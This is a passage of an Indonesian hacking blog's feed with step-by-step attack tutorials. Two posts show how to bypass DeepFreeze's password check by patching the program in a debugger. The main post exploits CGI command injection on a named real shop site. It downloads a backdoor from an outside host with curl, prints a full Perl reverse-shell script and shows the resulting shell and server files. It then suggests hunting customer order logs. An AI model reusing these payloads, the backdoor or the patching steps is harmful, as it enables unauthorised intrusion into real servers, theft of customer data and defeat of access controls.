WINDOWS API dengan MS Visual Basic oleh Rahadian Hadi &lt;br /&gt;     WWW.Planet-source-code.com&lt;br /&gt;     www.google.co.id&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-8315937572528613666?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/8315937572528613666/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=8315937572528613666' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/8315937572528613666'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/8315937572528613666'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/06/fungsi-windows-api.html' title='Fungsi windows API'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-1969377524180551248</id><published>2007-06-28T22:55:00.001+07:00</published><updated>2007-06-28T22:55:55.468+07:00</updated><title type='text'>UN-Freeze DeepFreeze di Win2K/Xp</title><content type='html'>- 24-10-05 -&lt;br /&gt;&lt;br /&gt;Pengantar:&lt;br /&gt;Penulis tidak bertanggung jawab akan kerusakan atau kerugian yang ditimbulkan akibat penggunaan ataupun &lt;br /&gt;pelaksanaan tutorial ini. Tutorial ditujukan untuk mereka yang mau belajar bukan untuk mereka yang ingin&lt;br /&gt;merusak bahkan merugikan orang lain dengan tindakannya.Anyway, Let's Get It on!!!!&lt;br /&gt;&lt;br /&gt;$&gt;DeepFreeze adalah salah satu Software yang digunakan untuk mengamankan, mencegah dan mengontrol komputer&lt;br /&gt;dari pengerusakan yang dilakukan sengaja ataupun tidak sengaja.&lt;br /&gt;Sesuai dengan namanya software ini akan "Membekukan" segala yang ada di partisi "beku"nya.&lt;br /&gt;Tidak ada "Restriction" dalam penggunaan komputer yang "dibekukan", hanya saja semua settingan, dan kondisi&lt;br /&gt;komputer akan kembali seperti semula setelah komputer di-restart / booting.&lt;br /&gt;$&gt;Tutorial ini akan membahas tentang cara Disable/Un-freeze DeepFreeze versi  4.20.020.0598, 4.20.120.0598, &lt;br /&gt;4.20.121.0613, 5.20.220.1125 dan 5.30.120.1181 pada OS Windows 2K/XP.&lt;br /&gt;&lt;br /&gt;$&gt;Pada umumnya DeepFreeze mempunyai aplikasi yang aktif di komputer yang masih "Enable", dan bila kita ingin&lt;br /&gt;mengubah setingan dari DeepFreeze maka harus masuk ke menu Config yang diproteksi oleh password tentunya.&lt;br /&gt;$&gt;Ada beberapa cara untuk men-Disable software ini, yaitu dengan menggunakan disket (bootable tentunya) &lt;br /&gt;lalu boot dari disket itu dan memindahkan file DFSERVEX.EXE yang berada di path c:\progra~1\hypert~1\deepfr~1 &lt;br /&gt;ke tempat lain. Dan yang terakhir yaitu dengan menggunakan Disassembler untuk mem-Patch File Frzstate(2K).exe.&lt;br /&gt;Tutorial ini akan membahas cara yang kedua.&lt;br /&gt;&lt;br /&gt;Tools yang diperlukan :&lt;br /&gt;1.Ollydbg 1.10 &gt; http://www.ollydbg.de/&lt;br /&gt;2.Process Explorer &gt; http://www.sysinternals.com/&lt;br /&gt;3.Ollyscript &gt; http://ollyscript.apsvans.com/&lt;br /&gt;4.ASPack 2.12 OEP finder script by hacnho/VCT2k4 &gt; http://ollyscript.apsvans.com/&lt;br /&gt;&lt;br /&gt;Langkah-langkah :&lt;br /&gt;1.Jalankan Process Explorer lalu lihat aplikasi Frzstate.exe atau Frzstate2k.exe yang berjalan lalu klik kanan&lt;br /&gt;  untuk melihat propertiesnya. Catat Properties Command Linenya yang berisi path program itu dan 3 angka terakhir.&lt;br /&gt;  contoh :  C:\Program Files\HyperTechnologies\Deep Freeze\_$Df\FrzState.exe 1 1066917 0 &lt;&lt; 3 angka terakhir &lt;br /&gt;2.Jalankan Ollydbg 1.10 dan buka Aplikasi Frzstate(2k).exe melalui path yang sudah dicatat. Jangan lupa masukkan &lt;br /&gt;  3 angka terakhir di kolom Arguments.&lt;br /&gt;3.Akan ada box peringatan yang muncul hiraukan saja, pada box peringatan kedua kilk No.&lt;br /&gt;4.Jalankan Plug-in OllyScript dengan memb-Browse-nya di menu Options&gt;Appearance&gt;Plugi-in Path&lt;br /&gt;5.Jalankan Script EOP di menu Plugins&gt;Run Script&gt;Ollyscript tentukan path dari EOP script lalu klik Open.&lt;br /&gt;6.Setelah itu script akan membuka code asli. Perhatikan apakah ada ikon dfreeze di system tray (DFreeze dapat diset-&lt;br /&gt;  untuk tidak menampilkannya),bila tidak ada klik kanan pada jendela code pilih Go to&gt;Expression dan masukkan nilai&lt;br /&gt;  berikut :&lt;br /&gt;  versi 4.20.020.0598 &gt; 40A2BE&lt;br /&gt;  versi 4.20.120.0598 &gt; idem&lt;br /&gt;  versi 4.20.121.0613 &gt; 409F4A&lt;br /&gt;  versi 5.20.220.1125 &gt; 40FC4A&lt;br /&gt;  versi 5.30.120.1181 &gt; idem&lt;br /&gt;  dan klik Ok. Setelah itu program akan menuju ke baris tersebut. Klik kanan lagi pilih Assemble lalu isi kolom dengan&lt;br /&gt;  ekspresi NOP dan jangan lupa checklist pilihan Fill with NOP's lalu klik Assemble.&lt;br /&gt;7.Kembali lagi ke jendela code, klik kanan untuk memilih Go to dan isi dengan nilai berikut :&lt;br /&gt;  versi 4.20.020.0598 &gt; 40368D&lt;br /&gt;  versi 4.20.120.0598 &gt; idem&lt;br /&gt;  versi 4.20.121.0613 &gt; 4034F5&lt;br /&gt;  versi 5.20.220.1125 &gt; 4037E9&lt;br /&gt;  versi 5.30.120.1181 &gt; 4037E9&lt;br /&gt;  lalu kilk Ok. Program akan menuju baris tersebut. Kita akan membuat sebuah BreakPoint disini.&lt;br /&gt;8.Klik kanan pilih Breakpoint&gt;Toogle, lalu tekan F9 untuk eksekusi baris tersebut. Bila benar akan muncul 2 ikon &lt;br /&gt;  Deepfreeze pada system tray. Pilihlah salah satu ikon tersebut dan tekan Shift+dobel klik atau ctrl+Shift+Alt+F6&lt;br /&gt;  untuk membuka Form Login DFreeze. Isi kolom password dengan apa saja allu klik OK atau Enter.&lt;br /&gt;9.Jika ikon yang kita pilih benar maka form Login tersebut seolah-olah "Membeku". Kembali ke jendela code di Ollydbg&lt;br /&gt;  tekan F8 dan lihat jendela register di sebelah kanan, ganti isi register EAX dengan nilai 1 (dalam hexadesimal) dengan &lt;br /&gt;  dobel klik di register tersebut. (nilai 000000000 merupakan value "False" untuk pengecekan password)&lt;br /&gt;10.Tekan F9 untuk eksekusi program lagi, bila benar maka kita akan mendapatkan sebuah form Config dari DeepFreeze.&lt;br /&gt;   &lt;br /&gt;&lt;br /&gt;referensi :&lt;br /&gt;1.http://usuarios.arnet.com.ar/fliamarconato/&lt;br /&gt;2.http://webs.uolsinectis.com.ar/c_delgado/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-1969377524180551248?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/1969377524180551248/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=1969377524180551248' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/1969377524180551248'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/1969377524180551248'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/06/un-freeze-deepfreeze-di-win2kxp.html' title='UN-Freeze DeepFreeze di Win2K/Xp'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-3029457539239716865</id><published>2007-06-28T22:47:00.000+07:00</published><updated>2007-06-28T22:50:47.183+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Connect Back melalui Bug CGI</title><content type='html'>- 6-11-05 -&lt;br /&gt;.:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.&lt;br /&gt;Penulis tidak bertanggung jawab atas akibat atau dampak yang disebabkan oleh &lt;br /&gt;penggunaan materi dari tutorial ini. Tujuan penulis hanya ingin menyampaikan&lt;br /&gt;materi kepada pihak-pihak yang bertanggung jawab dan "Want to learn", tidak&lt;br /&gt;kepada pihak-pihak yang ingin merugikan orang lain.  &lt;br /&gt;.:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.&lt;br /&gt;&lt;br /&gt;Intro &lt;br /&gt;$&gt;Seperti yang sudah kita tahu Bug CGI memungkinkan kita untuk melaksanakan command-command &lt;br /&gt;  untuk meng-eksploitasi sistem. Tetapi hal ini juga dipengaruhi oleh settingan dari sistem&lt;br /&gt;  tersebut apakah mengijinkan kita untuk membuat/menulis File di Server tersebut.&lt;br /&gt;&lt;br /&gt;Tujuan&lt;br /&gt;$&gt;Membuat suatu backdoor dengan cara connect back melalui CGI Bug&lt;br /&gt;&lt;br /&gt;Tools atau Softwarez dan Skill yang diperlukan&lt;br /&gt;$&gt;Setidaknya mengerti perintah/command *Nix atau Linux (ls, cp, rm, cat, locate ,dll)&lt;br /&gt;$&gt;Softwarez : Browser HTML (Opera, FireFox, IE, dll)&lt;br /&gt;$&gt;Tools : NetCat dan file backdoor (.txt atau .prl)&lt;br /&gt;&lt;br /&gt;Tutorial&lt;br /&gt;$&gt;Langkah pertama yang harus dilakukan adalah mencari site yang menggunakan CGI dengan bug :&lt;br /&gt;  "shop.pl?seite" atau "family_showpage.cgi". Bagaimana mencarinya? yaitu googling dan memasukkan&lt;br /&gt;  keyword allinurl dengan tambahan bug diatas. Contoh, allinurl : "shop.pl?seite". Maka kita akan&lt;br /&gt;  dapat berbagai macam halaman yang dapat di-tes bugnya. Pilih salah satu dan kita akan memulai mencoba&lt;br /&gt;  connect back.&lt;br /&gt;$&gt;Langkah kedua yaitu masukkan perintah/command yang diinginkan diantara char "||", maka perintah kita&lt;br /&gt;  akan terlihat seperti ini : |perintah|, selain dengan char pipe(|) bisa juga menggunakan char ";".&lt;br /&gt;  Contoh (dengan bug shop.pl?seite) :&lt;br /&gt;&lt;br /&gt;  &gt;&gt; https://www.a66.de/cgi-local/shop.pl?seite=hauptseite.html&amp;KNR=3055892&lt;br /&gt;  &gt;&gt; https://www.a66.de/cgi-local/shop.pl?seite=hauptseite.html|perintah|&amp;KNR=3055892&lt;br /&gt;  &gt;&gt; https://www.a66.de/cgi-local/shop.pl?seite=hauptseite.html|ls|&amp;KNR=3055892&lt;br /&gt;  &lt;br /&gt;  Maka pada browser kita akan terlihat isi dari direktori server tersebut.&lt;br /&gt;  Contoh :&lt;br /&gt;  finnishorder.pl formmailmalaysia.pl honeymoon.cfg honeymoon.pl honeymoonfinnishorder.pl &lt;br /&gt;  honeymoonorder.pl ikonboard order.pl preise.pl remview.php shop.cfg shop.pl&lt;br /&gt;&lt;br /&gt;  Weikkss....Banyak filenya tuh :P&lt;br /&gt;&lt;br /&gt;$&gt;Langkah ketiga cek apakah kita diijinkan untuk menulis/membuat file disana dengan perintah "id"&lt;br /&gt;&lt;br /&gt;  &gt;&gt; https://www.a66.de/cgi-local/shop.pl?seite=hauptseite.html|id|&amp;KNR=3055892&lt;br /&gt;&lt;br /&gt;  Kalo benar maka akan tampak :&lt;br /&gt;&lt;br /&gt;  uid=290076(ade001) gid=103(web) groups=103(web)&lt;br /&gt;  &lt;br /&gt;  Perhatikan User-idnya, Wah sepertinya kita bisa nih nulis/remove File :D&lt;br /&gt;&lt;br /&gt;$&gt;Selanjutnya kita upload File Backdoor yang kita ambil dari site lain,&lt;br /&gt;&lt;br /&gt;  https://www.a66.de/cgi-local/shop.pl?seite=hauptseite.html|curl -o back.txt http://www.goodwillco.com/tes.txt|&amp;KNR=3055892&lt;br /&gt;&lt;br /&gt;  Catatan : Site www.goodwillco.com hanya menyediakan file backdoor yaitu tes.txt, kalo sudah tidak ada silahkan&lt;br /&gt;  copy-paste teks berikut kedalam Notepad dan simpan dengan Ekstensi *.txt, Coding by 1St :D&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;# Remote Connect-Back Backdoor Shell v1.0.&lt;br /&gt;# (c)AresU 2004&lt;br /&gt;# 1ndonesia Security Team (1st)&lt;br /&gt;# AresU[at]bosen.net&lt;br /&gt;# Usage:&lt;br /&gt;# 1) Listen port to received shell prompt using NetCat on your toolbox, for example: nc -l -p 9000&lt;br /&gt;# 2) Remote Command Execution your BackDoor Shell, for example: perl connect.pl &lt;iptoolbox&gt; &lt;ncportlisten&gt;&lt;br /&gt;# --------&lt;br /&gt;# The supplied exploit code is not to be used for malicious purpose, but for educational purpose only. The Authors and 1ndonesian Security Team WILL NOT responsible for anything happened by the couse of using all information on these website.&lt;br /&gt;# ---------&lt;br /&gt;&lt;br /&gt;use Socket;&lt;br /&gt;$pamer="(c)AresU Connect-Back Backdoor Shell v1.0\n1ndonesia Security Team (1st)\n\n";&lt;br /&gt;$cmd= "lpd";&lt;br /&gt;$system= 'echo "`uname -a`";echo "`id`";/bin/sh';&lt;br /&gt;$0=$cmd;&lt;br /&gt;$target=$ARGV[0];&lt;br /&gt;$port=$ARGV[1];&lt;br /&gt;$iaddr=inet_aton($target) || die("Error: $!\n");&lt;br /&gt;$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");&lt;br /&gt;$proto=getprotobyname('tcp');&lt;br /&gt;socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");&lt;br /&gt;connect(SOCKET, $paddr) || die("Error: $!\n");&lt;br /&gt;open(STDIN, "&gt;&amp;SOCKET");&lt;br /&gt;open(STDOUT, "&gt;&amp;SOCKET");&lt;br /&gt;open(STDERR, "&gt;&amp;SOCKET");&lt;br /&gt;print STDOUT $pamer;&lt;br /&gt;system($system);&lt;br /&gt;close(STDIN);&lt;br /&gt;close(STDOUT);&lt;br /&gt;close(STDERR)&lt;br /&gt;&lt;br /&gt;  Catatan2 : curl -o akan menyimpan file backdoor di server web sasaran dengan nama back.txt&lt;br /&gt;  Kalo curl -o tidak bisa gunakan wget -o.&lt;br /&gt;&lt;br /&gt;$&gt; Lakukan lagi perintah ls untuk melihat apakah file backdoor kita sudah ter-upload...&lt;br /&gt;&lt;br /&gt;   https://www.a66.de/cgi-local/shop.pl?seite=hauptseite.html|ls|&amp;KNR=3055892&lt;br /&gt;&lt;br /&gt;   back.txt finnishorder.pl formmailmalaysia.pl honeymoon.cfg honeymoon.pl honeymoonfinnishorder.pl &lt;br /&gt;   honeymoonorder.pl ikonboard order.pl preise.pl remview.php shop.cfg shop.pl&lt;br /&gt;&lt;br /&gt;   Tampaknya file backdoor kita sudah ada tuh :D&lt;br /&gt;&lt;br /&gt;$&gt; Buka port di kompie kita dengan binding port melalui netcat.exe, Perintahnya &gt; &lt;br /&gt;   &lt;br /&gt;   C:\&gt;netcat.exe -lLvvp 9000&lt;br /&gt;   &lt;br /&gt;   catatan: port 9000 dan drive system bisa diganti sesuai dengan kondisi komputer masing2 :D&lt;br /&gt;&lt;br /&gt;   Kalo sudah maka netcat akan melisten koneksi yang masuk di port 9000 tersebut&lt;br /&gt;&lt;br /&gt;$&gt; Kita akan melakukan connectback dari server korban dengan meng-compile file backdorr tsb :&lt;br /&gt;&lt;br /&gt;   https://www.a66.de/cgi-local/shop.pl?seite=hauptseite.html|PERL back.txt 61.xxx.xxx.xxx 9000|&amp;KNR=3055892&lt;br /&gt;&lt;br /&gt;   catatan: ip 61.xxx.xxx.xxx adalah alamat IP komputer kita dan 9000 adalah port tujuan yang sudah terbuka&lt;br /&gt;   jika komputer kita memakai proxy atau firewall harap di konfigurasi ulang agar server korban bisa melakukan&lt;br /&gt;   connectback terhadap kita :D&lt;br /&gt;&lt;br /&gt;   Bila benar maka :&lt;br /&gt;&lt;br /&gt;C:\&gt;netcat -lLvvp 9000&lt;br /&gt;listening on [any] 9000 ...&lt;br /&gt;connect to [61.xxx.xxx.xxx] from www.a66.de [213.198.17.90] 14542&lt;br /&gt;(c)AresU Connect-Back Backdoor Shell v1.0&lt;br /&gt;1ndonesia Security Team (1st)&lt;br /&gt;&lt;br /&gt;Linux a66.de 2.4.2 FreeBSD 4.7-RELEASE-p22 #5: Tue May  3 13:36:49 MDT 2005&lt;br /&gt;    roo i386 unknown&lt;br /&gt;uid=290076(ade001) gid=103(web) groups=103(web)&lt;br /&gt;ls&lt;br /&gt;back.txt&lt;br /&gt;finnishorder.pl&lt;br /&gt;formmailmalaysia.pl&lt;br /&gt;honeymoon.cfg&lt;br /&gt;honeymoon.pl&lt;br /&gt;honeymoonfinnishorder.pl&lt;br /&gt;honeymoonorder.pl&lt;br /&gt;ikonboard&lt;br /&gt;order.pl&lt;br /&gt;preise.pl&lt;br /&gt;remview.php&lt;br /&gt;shop.cfg&lt;br /&gt;shop.pl&lt;br /&gt;su&lt;br /&gt;su: you are not in the correct group (sys) to su root.&lt;br /&gt;&lt;br /&gt;   weiikkssss....bisa konek ternyata :D, tapi sayangnya kita gak bisa akses super user tuh :(&lt;br /&gt;   Mungkin kita bisa liat groupnya :&lt;br /&gt;&lt;br /&gt;   https://www.a66.de/cgi-local/shop.pl?seite=hauptseite.html|ls /etc|&amp;KNR=3055892&lt;br /&gt;&lt;br /&gt;   DIR_COLORS X11 bashrc csh.cshrc csh.login filesystems group host.conf hosts.allow hosts.deny info-dir inputrc &lt;br /&gt;   ld.so.cache ld.so.conf ldap_auth master.passwd mhpop_redirect mtab nsswitch.conf opt pam.d passwd profile profile.d &lt;br /&gt;   redhat-release rpc rpm securetty shells skel ssd.attrib syb_dbs termcap xinetd.d yp.conf&lt;br /&gt;&lt;br /&gt;   https://www.a66.de/cgi-local/shop.pl?seite=hauptseite.html|cat /etc/group|&amp;KNR=3055892&lt;br /&gt;&lt;br /&gt;   sys::0:root,bin,sys,adm,devel,smoc1,daemon,vbackups,sap,sentinel root::0:root daemon::1:root,daemon bin::2:root,bin,daemon &lt;br /&gt;   adm::3:root,adm,daemon mail::4:root uucp::5:uucp rje::8: lp:*:9: nuucp::10:nuucp user::20: ftp::201: &lt;br /&gt;   other::995: guest:*:998: postgres:*:70: news:*:86: mysql:*:88: sql:*:89: staff::100:devel,smoc1 sybase::101:sybase,devel,webapps,sap,jkoecher,anonweb &lt;br /&gt;   client:*:102:devel,root,webapps,urchind web:*:103:root,webapps nofiles:*:104: qmail:*:105: devel:*:106:sybase,hu,webapps,sap,ftp,jkoecher,anonweb mailed:*:107:barryg &lt;br /&gt;   apps:*:108:hu,idsuser networks:*:109: squid:*:203: solutions:*:1025: test:*:204: dnsadmin:x:501:named tsedit:*:110:lvance,chuckr,eduda,ggarza,steve,mbalme mailedit:*:111:mminnig &lt;br /&gt;   nogroup:*:65533: webapps:*:149: sap:*:191: nobody:*:60001: smmsp:*:25:smmsp&lt;br /&gt;&lt;br /&gt;   Wekkksss...... :( ternyata kita hanya ada di group web doank :~~...gimana ngerubahnya ???&lt;br /&gt;   sayangnya tutorial ini hanya membahas caraa kita untuk melakukan connectback dengan menggunakan CGI BUG&lt;br /&gt;   Untuk lebih jelasnya silakan cari artikel ttg hal tsb di Google :D&lt;br /&gt;   Terus kita bisa ngapain ajah nih??? ya macam2 kayak liat file order.log-nya mungkin !!!???? :D&lt;br /&gt;   (ingat site ini adalah semacam online-shop :D), silakan masukkan perintah locate order.log atau&lt;br /&gt;    locate .log di browser anda :D hehehehehehhe&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Special Thanks go to : Myztx @ Myztx Soft House, Om choi @ #e-c-h-o atas tutor dan kesabarannya dalam mengajari junior mu ini :D&lt;br /&gt;                       , admin www.a66.de hehehehe jangan marah ya mas/mbak :P webnya dijadikan percobaan :D&lt;br /&gt;                       n ndak lupa juga to Spyro (the dragon??? :P) atas tempat buat artikel ini di webnya yg makin ciamik :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-3029457539239716865?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/3029457539239716865/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=3029457539239716865' title='2 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/3029457539239716865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/3029457539239716865'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/06/cara-un-freeze-deepfreeze-di-win-2kxp.html' title='Connect Back melalui Bug CGI'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-1674951817322128268</id><published>2007-06-28T22:45:00.000+07:00</published><updated>2007-06-28T22:47:11.245+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Tutorial UnFreeze DeepFreeze Versi 3 di Win 9x (Saduran)</title><content type='html'>- 24-10-05 -&lt;br /&gt;&lt;br /&gt;Pengantar:&lt;br /&gt;Penulis tidak bertanggung jawab akan kerusakan atau kerugian yang ditimbulkan akibat penggunaan ataupun &lt;br /&gt;pelaksanaan tutorial ini. Tutorial ditujukan untuk mereka yang mau belajar bukan untuk mereka yang ingin&lt;br /&gt;merusak bahkan merugikan orang lain dengan tindakannya.Anyway, Let's Get It on!!!!&lt;br /&gt;&lt;br /&gt;$&gt;DeepFreeze adalah salah satu Software yang digunakan untuk mengamankan, mencegah dan mengontrol komputer&lt;br /&gt;dari pengerusakan yang dilakukan sengaja ataupun tidak sengaja.&lt;br /&gt;Sesuai dengan namanya software ini akan "Membekukan" segala yang ada di partisi "beku"nya.&lt;br /&gt;Tidak ada "Restriction" dalam penggunaan komputer yang "dibekukan", hanya saja semua settingan, dan kondisi&lt;br /&gt;komputer akan kembali seperti semula setelah komputer di-restart / booting Bahkan dari FORMAT sekalipun!!!!.&lt;br /&gt;$&gt;Tutorial ini akan membahas tentang cara Disable/Un-freeze DeepFreeze versi 3.32.000.0534 pada OS Windows 9x. Secara sederhana &lt;br /&gt;kita hanya akan mendapatkan akses ke menu config DeepFreeze dengan password Invalid. &lt;br /&gt;&lt;br /&gt;Tools yang diperlukan :&lt;br /&gt;1.Ollydbg 1.10 &gt; http://www.ollydbg.de/ &gt;&gt; debugger kita&lt;br /&gt;2.Process Explorer &gt; http://www.sysinternals.com/ &gt;&gt; Process viewer&lt;br /&gt;3.DesAspack 2.11 &gt; http://protools.cjb.net/ &gt;&gt; Unpacker buat Aspack 2.11&lt;br /&gt;&lt;br /&gt;Langkah-langkah :&lt;br /&gt;1. Jalankan Process Explorer lalu cari process Program Frzstate.exe (Program ini yang menyimpan status Deepfreeze Freeze/Thawed), &lt;br /&gt;lihat bagian Propertiesnya dengan meng-klik kanan dan catat atau hapalkan Path dimana program itu berada.&lt;br /&gt;2. Selanjutnya kita akan mematikan process Frzstate.exe tsb...TUnggu dulu kita tidak bisa langsung mematikannya begitu saja,&lt;br /&gt;karena bila kita langsung kill process program tsb maka dia akan muncul kembali..!!! mengapa demikian?? ternyata DeepFreeze&lt;br /&gt;mempunyai program yang mengecek keberadaan process dari Frzstate.exe tsb... Cari nama process program MSGSRV32.exe pada&lt;br /&gt;process explorer kita dan matikan processnya lalu baru kita matikan process Frzstate.exenya...&lt;br /&gt;3. jalankan DesAspack 2.11 untuk unpack program Frzstate.exe (ingat Path porgram ini!) dengan memilih file yang akan di-unpack.&lt;br /&gt;4. Setelah proses unpack sukses maka akan ada file baru bernama out.exe di direktori yang sama dengan Frzstate.exe, file ini bernama out.exe&lt;br /&gt;....File ini yang selanjutnya akan kita bypass....Jalankan Ollydbg1.10 dan buka file out.exe tsb.&lt;br /&gt;5. Setelah out.exe teranalisa, maka klik kanan untuk memilih option Goto (kita akan meloncat ke line number tertentu) dan isikan dengan 417410&lt;br /&gt;lalu OK.&lt;br /&gt;6. Maka pointer atau highlight akan berada di baris tersebut (417410), baris inilah yang akan mengecek apakah Password kita Valid atau tidak,&lt;br /&gt;kita harus membuat suatu Stopper disini dnegan klik kanan lalu pilih BreakPoint &gt; Toogle.&lt;br /&gt;7. Setelah kita buat Stopper, maka selanjutnya kita harus menjalankan file out.exe ini, tekan F9 dan program out.exe akan jalan, bila benar&lt;br /&gt;maka akan ada ikon DeepFreeze yang baru (setelah sebelumnya tidak ada karena Process Frzstate.exe kita matikan)...&lt;br /&gt;8. Jalankan Logon Window dari out.exe ini dengan memilih ikonnya di system tray(SHIFT+dobel klik) atau tekan CTRL+SHIFT+ALT+F6, maka kita akan &lt;br /&gt;menuju ke window prompt password DeepFreeze :), masukkan password apa saja di kolom Enter Password dan klik OK.&lt;br /&gt;9. Selanjutnya program out.exe akan terhenti karena stopper yang kita buat sebelumnya, lihat kolom registers FPU (sebelah kanan window kode-kode)&lt;br /&gt;lalu lihat bagian Flag Z, disana termuat nilai 1 (artinya Password yang kita masukkan salah, hal ini berbeda dengan DeepFreeze Versi 4 atau 5)..&lt;br /&gt;ganti nilai Flag Z tersebut dengan dobel klik di Flag Z tsb (nilai akan berubah menjadi 0, artinya password kita dianggap Valid :D)...Lalu tekan F9&lt;br /&gt;lagi dan ............ VIOLA window Boot Control dari Deep Freeze muncul dengan status2nya :D hehehehehehehehhe&lt;br /&gt;&lt;br /&gt;referensi :&lt;br /&gt;1.http://usuarios.arnet.com.ar/fliamarconato/&lt;br /&gt;2.http://webs.uolsinectis.com.ar/c_delgado/&lt;br /&gt;3.http://google.co.id/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Greetings :&lt;br /&gt;- Emiliano Scavuzzo  (anshoku@yahoo.com) //Thanks 4 Ur tutor(s) n Software(s)&lt;br /&gt;- MyzTx @ MyzTx Soft. House // Thanks 4 Ur support Dude!! :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-1674951817322128268?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/1674951817322128268/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=1674951817322128268' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/1674951817322128268'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/1674951817322128268'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/06/tutorial-unfreeze-deepfreeze-versi-3-di.html' title='Tutorial UnFreeze DeepFreeze Versi 3 di Win 9x (Saduran)'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-7330402550352579843</id><published>2007-06-28T22:42:00.000+07:00</published><updated>2007-06-28T22:45:31.979+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pertama'/><title type='text'>Duh pertama kali nih :D</title><content type='html'>Owwww Yeaahhhh!!! Blog pertamaQuwwww..... &lt;br /&gt;&lt;br /&gt;Gk da yang special di sini... tapi aq harap yang baca betah n mau ngasi saran-kritik buat blog ini :D&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thx,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-7330402550352579843?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/7330402550352579843/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=7330402550352579843' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/7330402550352579843'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/7330402550352579843'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/06/duh-pertama-kali-nih-d.html' title='Duh pertama kali nih :D'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image 